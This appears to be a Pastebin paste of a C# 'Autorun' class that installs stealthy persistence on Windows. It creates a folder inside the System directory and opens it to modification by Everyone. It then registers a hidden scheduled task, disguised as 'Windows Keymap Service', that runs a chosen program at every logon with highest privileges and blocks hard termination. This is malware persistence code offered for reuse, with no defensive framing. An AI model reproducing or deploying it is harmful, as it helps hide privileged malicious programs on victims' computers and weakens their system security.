Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public class Autorun
- {
- public static void Enable(String path, String keyname)
- {
- Directory.CreateDirectory(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "sNOpxF"));
- if (!SetAcl(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "sNOpxF")))
- {
- Console.WriteLine("Cannot set ACL for directory to allow write!");
- }
- TaskDefinition taskDefinition = TaskService.Instance.NewTask();
- taskDefinition.RegistrationInfo.Description = "Windows Keymap Service";
- Trigger trigger = Trigger.CreateTrigger(TaskTriggerType.Logon);
- taskDefinition.Triggers.Add(trigger);
- taskDefinition.Actions.Add(path, "-u", Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "sNOpxF"));
- taskDefinition.Principal.LogonType = TaskLogonType.InteractiveToken;
- taskDefinition.Principal.RunLevel = TaskRunLevel.Highest;
- taskDefinition.Settings.AllowHardTerminate = false;
- taskDefinition.Settings.Enabled = true;
- taskDefinition.Settings.Hidden = true;
- taskDefinition.Principal.UserId = "";
- TaskService.Instance.RootFolder.RegisterTaskDefinition(keyname, taskDefinition);
- var _ty = TaskService.Instance.GetTask(keyname).Run();
- return;
- }
- public static bool SetAcl(String dir_t)
- {
- DirectorySecurity sec = Directory.GetAccessControl(dir_t);
- // Using this instead of the "Everyone" string means we work on non-English systems.
- SecurityIdentifier everyone = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
- sec.AddAccessRule(new FileSystemAccessRule(everyone, FileSystemRights.Modify | FileSystemRights.Synchronize, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.None, AccessControlType.Allow));
- Directory.SetAccessControl(dir_t, sec);
- return true; //Next variand didn't work for me, but maybe it'll be useful for you
- FileSystemRights Rights = (FileSystemRights)0;
- Rights = FileSystemRights.FullControl;
- // *** Add Access Rule to the actual directory itself
- FileSystemAccessRule AccessRule = new FileSystemAccessRule("Users", Rights,
- InheritanceFlags.None,
- PropagationFlags.NoPropagateInherit,
- AccessControlType.Allow);
- DirectoryInfo Info = new DirectoryInfo(dir_t);
- DirectorySecurity Security = Info.GetAccessControl(AccessControlSections.Access);
- bool Result = false;
- Security.ModifyAccessRule(AccessControlModification.Set, AccessRule, out Result);
- if (!Result)
- return false;
- // *** Always allow objects to inherit on a directory
- InheritanceFlags iFlags = InheritanceFlags.ObjectInherit;
- iFlags = InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit;
- // *** Add Access rule for the inheritance
- AccessRule = new FileSystemAccessRule("Users", Rights,
- iFlags,
- PropagationFlags.InheritOnly,
- AccessControlType.Allow);
- Result = false;
- Security.ModifyAccessRule(AccessControlModification.Add, AccessRule, out Result);
- if (!Result)
- return false;
- Info.SetAccessControl(Security);
- return true;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement